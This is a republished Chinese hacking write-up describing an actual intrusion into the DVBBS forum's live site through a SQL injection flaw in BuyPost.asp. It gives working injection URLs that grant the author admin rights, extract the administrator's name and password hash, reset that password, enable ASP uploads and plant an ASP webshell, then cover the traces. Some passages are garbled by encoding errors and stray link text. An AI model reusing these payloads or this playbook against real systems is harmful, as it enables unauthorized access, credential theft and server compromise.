分享
 
 
 

动网论坛有史以来最大的安全漏洞

王朝other·作者佚名  2006-12-16
窄屏简体版  字體: |||超大  

一、前言废话:

近来搞Sql Injection 搞上瘾了,开发了两个有利用Sql Injection入侵的工具.

现在就把昨天发现这个漏洞,并利用这个漏洞入侵的全部经过写一写.让大家有所了解.可是千万不要去破坏哦!

二、漏洞的发现过程:

昨天晚上没有什么事,到了DVBBS看了一下。下载了一个最新的DBSS V6.1 版本

看看近来动网更新了些什么东东.找漏洞,这个我喜欢,I LIKE!

方法很简单.把解压后的DVBBS整个目录用来搜索,搜索包含内容: from "&request //注win2k支持这样搜索文件.

//*******************************************************************************************

from "&request 就找这个内容.(不要告诉我你不会找,选中目录,点右键查找包含内容:from "&request ) 为什么要找这个呢?

大家都知道SQL对表的操作是这么样的如:

sqlstr="select * from tablename" //都会有from tablename。

如果!

ASP中写成这样

sqlstr="select * from "&tablename&" where......"

这里就是直接引用了提交的表名.并没有过滤这个参数,一点也没有过滤.

这个可是太可怕的了。传说中的动网有史以来最大的漏洞终于被发现了!

//*******************************************************************************************

三、漏洞原理分析

马上出来结果了。搜索的文件列表出现了:

admin_postdata.asp BuyPost.asp

分析了一下,第一个是管理员要用到的ASP,如果你不是前台管理员根本用不了第一个文件.所以就放弃了.

来看看第二个文件BuyPost.asp.

这个文件是做什么用的呢?没用过,我也不知道。所以就打开源代码看看吧.

........

<%

If request("action")="view" Then

Dvbbs.stats="查看购买贴子的用户"

Else

Dvbbs.stats="购买帖子"

End If

Dvbbs.Myaction=Dvbbs.Stats

If Dvbbs.BoardID=0 then

Dvbbs.AddErrmsg "错误的版面参数!请确认您是从有效的连接进入。"

End If

If request("!

;id")="" then

Dvbbs.AddErrmsg "请指定?

喙靥樱

╥d)。"

ElseIf Not Dvbbs.isInteger(request("id")) then

Dvbbs.AddErrmsg "非法的贴子参数。"

Else

rootid=request("id")

End If

If request("replyID")="" Then

Dvbbs.AddErrmsg "请指定相关贴子(replyID)。"

ElseIf Not Dvbbs.isInteger(request("replyID")) Then

Dvbbs.AddErrmsg "非法的贴子参数。"

Else

AnnounceID=request("replyID")

End If

If Not Dvbbs.founduser Then

Dvbbs.AddErrmsg "请登录后进行操作。"

End If

If Dvbbs.FoundErr Then

Dvbbs.nav()

ChkAllErr()

End If

If Not FoundTable Then

Dvbbs.AddErrmsg "非法的参数。"

Dvbbs.nav()

ChkAllErr()

End If

If request("action")="view" Then

Call view() //******这里调用漏洞代码.

Else

Call main()

End If

If Dvbbs.FoundErr Then

Dvbbs.nav()

ChkAllErr()

End If

Dvbbs.activeonline()

!

Response.Write "</body></html>"

CloseDatabase

..............略掉一些代码.

Sub view()

Dvbbs.isshowtop=0

Dim PostBuyUser

sql="select PostBuyUser from "&request("PostTable")&" where Announceid="&Announceid

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

//这条就是漏洞语句.

Set rs=conn.execute(sql)

PostBuyUser=Trim(rs(0))

dvbbs.nav()

Response.Write "<table cellpadding=3 cellspacing=1 align=center class=tableborder1>"

Response.Write "<TBODY><TR>"

Response.Write "<Th height=24 colspan=1>查看购买贴子的用户</Th>"

Response.Write "</TR>"

Response.Write "<tr><TD class=tablebody2>"

If (not isnull(PostBuyUser)) Or PostBuyUser<>"" Then

PostBuyUser=Replace(PostBuyUser,"│","<li>")

Response.Write "<li>"&PostB!

uyUser

Else

Response.Write "

<li>还未有人购!

买!&quo

t;

End If

Response.Write "</td></tr>"

Response.Write "</table>"

Set rs=Nothing

End Sub

%>

看了一下这是关于一个购买贴子的漏洞.好了,我们注册一个用户进去找找动网哪里有这个功能!

用户名:yafande mysql安全问题(匿名用户)的一点心得Windows NT攻击大全Back OrificeNET命令指令集Nessus安全测试插件编写教程1嗅探器检测工具和对策(感谢Phoenix提供!!)SOAP安全性扩展:数字签名互联网安全问题:调制解调器的不安全SAINT攻略DEBUG..3相关链接共 186 篇','相关的链接')" href="http://www.safechina.net/article/showarticle.php?id=1066039600#"密码:123321

查一下自己的ID。哦是:25687

和卖身找了很久很久都没有找到这个功能,不知道在什么地方.

现在就只有自己构造IP欺骗的原理已公布的信息技术安全标准IIS多数漏洞的整理 应用软件黑客入侵大揭秘TCP Chargen DoS攻击及其对策 设计安全的Linux网络telnet的基本过程IIS多数漏洞的整理Linux下的代理服务器设置Hacking CGI相关链接共 112 篇','相关的链接')" href="http://www.safechina.net/article/showarticle.php?id=1066039600#"URL了。

看了源代码,提交的参数有:

boardID,ID,replyid,action, postTable

分别是:版面ID,RootID,自动编号的ID(随便取一个吧,出错就换一个大于1的整数),一个参数,表名

现在关键就的就是这个表名是什么,最后找到符合条件是的:bbs1

再来看action 当action=view的时候再调用view()这个有漏洞的过程。

打开一个版面,找到一个贴子,得到版面号和ROOTID分别为:boardID=103,ID=327926 //如果不找到正确的版面ID和贴子ID。一提交就要出错!

所以我们提交的URL就是:

http://bbs.dvbbs.net/buypost.asp?boardID=103&ID=327926&replyid=1&action=view&postTable=bbs1

提交后在SQL中表现的语句如下:

看漏?

创?

sql="select PostBuyUser from "&request("PostTable")&" where Announceid="&Announceid

提交得到的SQL就是:

sql="select PostBuyUser from bbs1 where Announceid=1 "

~~~~ ~~

如果我们提交:

http://bbs.dvbbs.net/buypost.asp?boardID=103&ID=327926&replyid=1&action=view&postTable=bbs1;update [user] set usergroupid=1 where userid=25687;--

得到的SQL语句就是:

sql="select PostBuyUser from bbs1;update [user] set usergroupid=1 where userid=25687;--where announceid=1"

当然--后面的东西被注解掉了。也就是不起作用了。简化一下.

sql="select PostBuyUser from bbs1;update [user] set usergroupid=1 where userid=25687;"

提交这条语句就是把userID=25687这个用户(就是我刚才注册的yafande账号),加为前台管理员.

四、详解入侵过程

开工,提交吧!

IE 显示了还未有人购买!嗯。

没有显示任何错误.多半成功了!

重新登陆一次,看到了自己有管理的功能了。哈哈.

现在我们就添加一个?

芾碓卑?因为如果改管理员密码不好。一旦发现就OVER了。

一样?

奶峤? <

br>http://.....&postTable=bbs1;insert into [admin] (username,password) values (yf,ff8aaa8a2dde9154);--

我省略点前面的一些代码,这样看起来方便!

这样我们就会在admin表中加一个用户名为yf密码是123321的账号。//***123321的MD5码为:ff8aaa8a2dde9154

看看进管理行不行?

||||||五、剖析动网后台管理

晕。。失败!一支烟后。。。。(当然我们也试过了重新加账号都不行)

看admin_index.asp源代码是怎么写的。

代码如下:

sub chklogin()

username=trim(replace(request("username"),"",""))

password=md5(trim(replace(request("password"),"","")),16)

if request("verifycode")="" then

Dvbbs.Adderrmsg "请返回输入确认码。<b>返回后请刷新登录页面后重新输入正确的信息。</b>"

elseif session("verifycode")="" then

Dvbbs.Adderrmsg "请不要重复提交,如需重新登录请返回登录页面。<b>返回后请刷新登录页面后重新输入正确的信息。</b>"

elsei!

f session("verifycode")<>trim(request("verifycode")) then

Dvbbs.Adderrmsg "您输入的确认码和系统产生的不一致,请重新输入。<b>返回后请刷新登录页面后重新输入正确的信息。</b>"

end if

session("verifycode")=""

if username="" or password="" then

Dvbbs.Adderrmsg "请输入您的用户名或密码。<b>返回后请刷新登录页面后重新输入正确的信息。</b>"

end if

if dvbbs.founderr then exit sub

ip=Request.ServerVariables("REMOTE_ADDR")

set rs=conn.execute("select * from "&admintable&" where username="&username&" and adduser="&dvbbs.membername&"")

if rs.eof and rs.bof then

rs.close

set rs=nothing

Dvbbs.Adderrmsg "您输入的用户名和密码不正确或者您不是系统管理员。请<a href=admin_login.asp>重新输入</a>您的密码。<b>返回后请刷新登录页面后重新输入正确的信息。</b>"

exit sub

else

if t!

rim(rs("password"))<>password then

Dvbbs.Adde!

rrmsg &q

uot;您输入的用户名和密码不正确或者您不是系统管理员。请<a href=admin_login.asp>重新输入</a>您的密码。<b>返回后请刷新登录页面后重新输入正确的信息。</b>"

exit sub

else

session("flag")=rs("flag")

session.timeout=45

conn.execute("update "&admintable&" set LastLogin="&SqlNowString&",LastLoginIP="&ip&" where username="&username&"")

rs.close

set rs=nothing

response.write "<script>location.href=admin_index.asp</script>"

end if

end if

end sub

这是一个检测登陆的过程。看代码,首先检测有没有用户和增加这个用户的人的名称是不是存在.(adduser字段保存的)

//***这个adduser是用来保存这个管理员是由谁添加进去的。

再检测密码对不对.

我们刚才添加一个用户的时候根本没有对adduser字段加东西.所以就进不去。

怎么办?我们不知道后台管理员的账号名啊?我晕!

不过办法是有的。看经典的.来来来!

先找出后台管理员的最小ID的那个账号. <!

br>http://.....&postTable=bbs1 where 1=(select min(id) from [admin] );--

提交后,得到的SQL语句就是:

sql="select PostBuyUser from bbs1 where 1=(select min(id) from [admin] );--where......"

不正确。最小ID不是1.

..5<(select min(id) from [admin]);-- 正确.最小ID大于5

..15>(select min(id) from [admin]);-- 正确.最小ID小于15

..10=(select min(id) from [admin]);-- 正确.最小ID猜出来了是10

好了,更经典的东东出来了.

http://.....&postTable=bbs1;update [admin] set adduser=(select adduser from [admin] where id=10) where username=yf;--

这段代码就是把管理员ID=10的adduser的值,填到yf这个账号中去。刚才已经加了账号了嘛.

最后还是不成功?我倒,是怎么回事!!!晕了晕了晕了!!!

我想了很久,动网他们自己用的是不是MD5加密的哦。还有是不是MD5 16位加密的呢?如果是32位的怎么办?

测试一下吧!

http://.....&postTable=bbs1 where 10=(select min(id) from [admin] where len(password)=16);--

提示正确,是16位加密的.我晕。怎么回事。 <b!

r>现在我们就只有把他表中所有的数据显示出来看看啊.

现在!

我就直接

把他的数据,显示到我的个人信息中去(个人信息中的主页地址)。

来吧!!COME ON!!!

http://.....&postTable=bbs1;update [user] set homepage=(select username from [admin] where id=10) where userid=25687;--

这样就把后台管理员的ID为10的账号搞出来了.

查看自己的个人信息的个人主页那里就显示出了他的账号.

账号为:****** 这里屏掉账号. 不方便显示出来,对不起:)!

再来,

http://.....&postTable=bbs1;update [user] set homepage=(select password from [admin] where id=10) where userid=25687;--

显示密码为:af6ffd23be8fee40

http://.....&postTable=bbs1;update [user] set homepage=(select adduser from [admin] where id=10) where userid=25687;--

显示添加人为:******** 这里也不要说了,不方便!

我还显示出他上次上线的时候,以及上次登陆的IP。以方便我们更加了解这个账号.

最后我们也就只有修改一个管理员的账号了。哎,没法,就搞这个管理员吧。他一周没有上来了.

http://.....&postTable=bbs1;update [admin] set password=ff8aaa8a2dde9154 where id=10;-- <b!

r>这样我们就把密码给他改成123321了.

最后还是不成功.我晕了。那看来,他是不是作了IP限制的呢?头都大了。又一支烟完后.....

六、越权植木马入动网

想到了,上传ASP木马,怎么上传?进不了后台怎么上传。不进后台也一样可以上传的啊。

他的上传文件的限制是搞到库中去的。我们直接提交SQL语句改库就可以上传文件了。

好的。那开始吧!!

GO!

我们打开我们下载的默认数据库。看一下Board中Board_Setting字段的内容,就取第一条的内容吧!

如下:

0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,16240,3,300,gif│jpg│jpeg│bmp│png│rar│txt│zip│mid,0,0,0│24,1,0,300,20,10,9,12,1,10,10,0,0,0,0,1,5,0,1,4,0,0,0,0,0,0,0,0,0

我们来改改吧!

0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,16240,3,300,gif│jpg│jpeg│bmp│png│rar│txt│zip│mid│asp,0,0,0│24,1,0,300,20,10,9,12,1,10,10,0,0,0,0,1,5,0,1,4,0,0,0,0,0,0,0,0,0

OK,再给他加进去.

http://.....&postTable=bbs1;update [board] set Board_Setting=0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,16240,3,300,gif│jpg│jpeg│bmp│png│rar│txt│zip│!

mid│asp,0,0,0│24,1,0,300,20,10,9,12,1,10,10,0,0,0,0,1,5,0,1,!

4,0,0,0,

0,0,0,0,0,0 where boardid=103;--

这样版面ID为103的就可以上传ASP文件了.

好了更改成功。

现在我们进入刚才加的那个版面去发表贴子上传一个ASP木马。哈哈!!!

好了也可以上传了。成功了!!!

打开IE输入:

http://bbs.dvbbs.net/UploadFile/200391819281385768.asp

OK。下面的事我就不用说了吧。[当然,我们也直接改了一下他的界面,以提示叫他注意安全].

这是连接SQL数据库的。你可以查看他的连接账号是不是SA账号连接的.如果是的话。还可以加上系统账号。

七、恢复

哈哈!!

现在的事就是清除一些东东。

http://.....&postTable=bbs1;update [admin] set password=af6ffd23be8fee40 where id=10;--

还原ID为10管理员的密码。

http://.....&postTable=bbs1;delete from [admin] where username=yf;--

删掉刚加的一个yf账号。

http://.....&postTable=bbs1;update [board] set Board_Setting=0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,16240,3,300,gif│jpg│jpeg│bmp│png│rar│txt│zip│mid,0,0,0│24,1,0,300,20,10,9,12,1,10,10,0,0,0,0,1,5,0,1,4,0,0,0,0,0,0,!

0,0,0 where boardid=103;--

去掉可以上传ASP文件的设置。

http://.....&postTable=bbs1;delete from [user] where userid=25687;--

删除我们前台加的管理员.

八、后语

闪人了.....

//结束语:这也许就是传说中的动网最大的漏洞。可以摧毁数据库中的一切东东。

如果用SA账号连接的数据库,可以加上系统账号.

请大家不要利用本漏洞攻击其他BBS。我这只是做了一个测试,并没有去破坏动网的数据库中的数据.

虽然我们没有破坏数据。但还是向动网全体人员道歉!希望以后不会现出现漏洞了:)

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有